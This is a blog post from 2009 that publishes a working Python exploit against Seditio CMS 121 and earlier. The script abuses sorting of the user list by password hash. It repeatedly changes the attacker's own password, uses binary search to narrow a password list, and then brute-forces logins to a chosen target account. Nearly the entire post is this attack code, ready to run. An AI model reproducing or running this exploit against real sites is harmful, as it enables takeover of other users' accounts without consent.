03.05.2009

Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit

#!/usr/bin/env python

"""
Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit
by cr0w [ http://cr0w-at.blogspot.com ]

Vendor site: http://www.neocrome.net
Seditio v121 download link: http://www.neocrome.net/files/120/code/seditio-build121.rar

Based on vulnerability founded by Red_Red1. It was discussed here (in russian):
http://forum.antichat.ru/showthread.php?p=617264

More info about this web attack method you can find here (in russian):
http://cr0w-at.blogspot.com/2009/05/order-by-sql-1.html

"""

import re
import sys
import md5
import getopt
import urllib
import urllib2
import cookielib
from math import ceil

class Dicho:

def __init__(self, list):
self.count = 0
self.current_pos = None
self.list = list

def passwords(self): return self.list
def pass_len(self): return len(self.list)

def next_pass(self):
if len(self.list)<=2: return None
self.current_pos = int(ceil(len(self.list)/2))
self.count += 1
return self.list[self.current_pos]

def user_upper(self): self.list = self.list[self.current_pos:]
def target_upper(self): self.list = self.list[0:self.current_pos+1]


def usage():

print """
Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit\n
Usage:\n%s unsorted_passlist.txt [-o passlist.txt]
%s http://vuln.site -u user -p password -t target_user [-l passlist.txt]""" \
% (sys.argv[0], sys.argv[0])
sys.exit()


def sort_file(input_file, output_file):

print "[~] Passlist sorting"

try: words = [line.rstrip() for line in open(input_file)]
except: sys.exit("[!] Can't read " + input_file)
try: output = open(output_file, 'w')
except: sys.exit("[!] Can't open " + output_file)

words = map(lambda word: md5.new(word).hexdigest()+word, words)
words.sort()
[output.write(word[32:]+"\n") for word in words]

print u"[+] Done! Sorted passlist with %i words here: %s" % (len(words), output_file)
sys.exit()


def user_auth(user, password):

print "[~] Authorization"

data = urllib.urlencode(
{'rusername': user,
'rpassword': password,
'rcookiettl': '86400',
'x': 'GUEST'})

try:
req = urllib2.Request(url+"/users.php?m=auth&a=check&redirect=", data=data, headers=headers)
page = urllib2.urlopen(req)

if page.geturl().find('msg=104') > 5:
print u"[+] User %s logged" % user
return True
else:
print u"[-] User %s not logged" % user
return False
except:
print "[!] Can't authorize"
return False


def password_change(new_password):

global password
print u"[~] Password change from '%s' to '%s'" % (password, new_password),

try:
req = urllib2.Request(url+"/users.php?m=profile", headers=headers)
page = urllib2.urlopen(req).read()

x_value = re.search(r'<input type="hidden" id="x" name="x" value="(.*)" />', page).group(1)

data = urllib.urlencode({"rnewpass1": new_password,
"rnewpass2": new_password,
"x": x_value})

req = urllib2.Request(url+"/users.php?m=profile&a=update&x="+x_value, data=data, headers=headers)
page = urllib2.urlopen(req)

if page.geturl().find("msg=113") > 0:
print "[changed]"
password = new_password
except:
print "[-] Error: can't change password or something else"
sys.exit()


def parse_userlist(user, target_user):

d_value = 0
while d_value < 1000:
try:
req = urllib2.Request(
url+"/users.php?f="+f_value+"&s=password&w=asc&g=&gm=&d="+str(d_value),
headers=headers)
page = urllib2.urlopen(req).read()

users = re.findall(r'<a href="users.php\?m=details&amp;id=\d+">(.*)</a>', page)
if (user in users) and (target_user in users):
if users.index(user) < users.index(target_user): return user
else: return target_user
elif user in users: return user
elif target_user in users: return target_user
else:
d_value += 50
continue
raise Error
except:
print "[-] Error: can't parse userlist"
sys.exit()

# Defaults
headers = {}
sorted_file = 'passlist.txt'
pass_file = 'passlist.txt'


try: opts, args = getopt.getopt(sys.argv[2:], "o:u:p:t:l:")
except getopt.GetoptError, err: usage()
for opt, arg in opts:
if opt == '-o': sorted_file = arg
elif opt == '-u': user = arg
elif opt == '-p': password = arg
elif opt == '-t': target_user = arg
elif opt == '-l': pass_file = arg
else: usage()

try: sys.argv[1]
except: usage()

if sys.argv[1].startswith('http'): url = sys.argv[1]
else: sort_file(sys.argv[1], sorted_file)

first_pass = password[:]

if user[0:1].upper() == target_user[0:1].upper():
f_value = user[0:1].upper()
else: f_value = 'all'

try: dic = Dicho([line.rstrip() for line in open(pass_file)])
except: sys.exit("Can't open " + pass_file)

cookies = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies))
urllib2.install_opener(opener)

if not user_auth(user, password):
print "[!] Can't authorize"
sys.exit()

while True:
new_pass = dic.next_pass()
if new_pass == None: break
print "[~] %i. %i passwords in memory" % (dic.count, dic.pass_len())
password_change(new_pass)
if parse_userlist(user, target_user) == user: dic.user_upper()
else: dic.target_upper()

print "[~] Return old password to %s" % user
password_change(first_pass)
cookies.clear()

for passwords in dic.passwords():
print u"[~] Trying password '%s' for %s" % (passwords, target_user)
if user_auth(target_user, passwords):
print "[+] Success!\a"
print u"\n[+] %s:%s" % (target_user, passwords)
sys.exit()

print u"\n[-] Password for %s not founded" % target_user

# by cr0w
# http://cr0w-at.blogspot.com

0 коммент.:

Отправить комментарий

Большая просьба: не оставляйте анонимных комментариев и не используйте в своих комментариях нецензурную лексику без дела.